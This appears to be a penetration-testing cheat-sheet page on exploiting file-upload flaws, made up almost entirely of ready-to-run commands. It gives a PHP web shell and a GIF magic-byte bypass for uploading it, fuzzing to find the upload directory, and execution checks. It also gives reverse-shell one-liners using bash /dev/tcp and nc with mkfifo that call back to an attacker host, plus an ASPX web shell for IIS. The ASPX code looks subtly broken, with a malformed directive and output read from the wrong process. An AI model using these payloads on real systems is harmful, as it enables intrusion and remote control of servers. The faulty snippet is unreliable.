Skip to content
HackIndex logo

HackIndex

File Upload Exploitation

3 min read Jul 14, 2026

File upload exploitation assumes you have already confirmed a bypass in the file upload validation testing page. The steps here cover delivering the web shell using that bypass, locating where it was stored, confirming execution, and getting a reverse shell.

Deliver the Web Shell

Use a minimal PHP web shell. Small payloads survive more upload filters than feature-heavy alternatives:

┌──(kali㉿kali)-[~]
└─$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
┌──(kali㉿kali)-[~]
└─$ curl -sk -F '[email protected]' http://$TARGET_IP:$PORT/upload.php -v 2>&1 | grep -i 'location\|path\|url\|upload'
< Location: /uploads/shell.php

For a magic byte bypass when the server checks file signatures:

┌──(kali㉿kali)-[~]
└─$ printf 'GIF89a' > shell.gif.php && echo '<?php system($_GET["cmd"]); ?>' >> shell.gif.php
┌──(kali㉿kali)-[~]
└─$ curl -sk -F '[email protected];type=image/gif' http://$TARGET_IP:$PORT/upload.php -v

Locate the Upload Path

If the upload response doesn't return the path, fuzz common upload directories:

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://$TARGET_IP:$PORT/FUZZ/shell.php -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200
uploads                 [Status: 200, Size: 0]
┌──(kali㉿kali)-[~]
└─$ for path in uploads upload files images media tmp user_uploads content; do code=$(curl -skI http://$TARGET_IP:$PORT/$path/shell.php | grep HTTP | awk '{print $2}'); echo "$code $path"; done
200 uploads
404 upload
404 files

Confirm Execution

Request the uploaded file with a safe command. A 200 with command output means the server is executing PHP in the upload directory:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

If the response returns raw PHP source instead of executing, the upload directory is not configured to execute PHP. Try a different path or check if a .htaccess upload would enable execution in that directory.

Get a Reverse Shell

Set up the listener and send the reverse shell payload through the web shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/uploads/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

If bash is blocked or the redirect operator is filtered, use mkfifo:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/uploads/shell.php" --get --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f"

ASPX Web Shell for IIS Targets

When the target runs IIS and .aspx execution was confirmed during upload testing:

<%@@ Page Language="C#" %>
<% Response.Write(new System.Diagnostics.Process() {
    StartInfo = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]) {
        UseShellExecute = false,
        RedirectStandardOutput = true
    }
}.Start() ? System.Diagnostics.Process.GetCurrentProcess().StandardOutput.ReadToEnd() : ""); %>
┌──(kali㉿kali)-[~]
└─$ curl -sk -F '[email protected]' http://$TARGET_IP:$PORT/upload.aspx
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/uploads/shell.aspx?cmd=whoami"
iis apppool\defaultapppool

References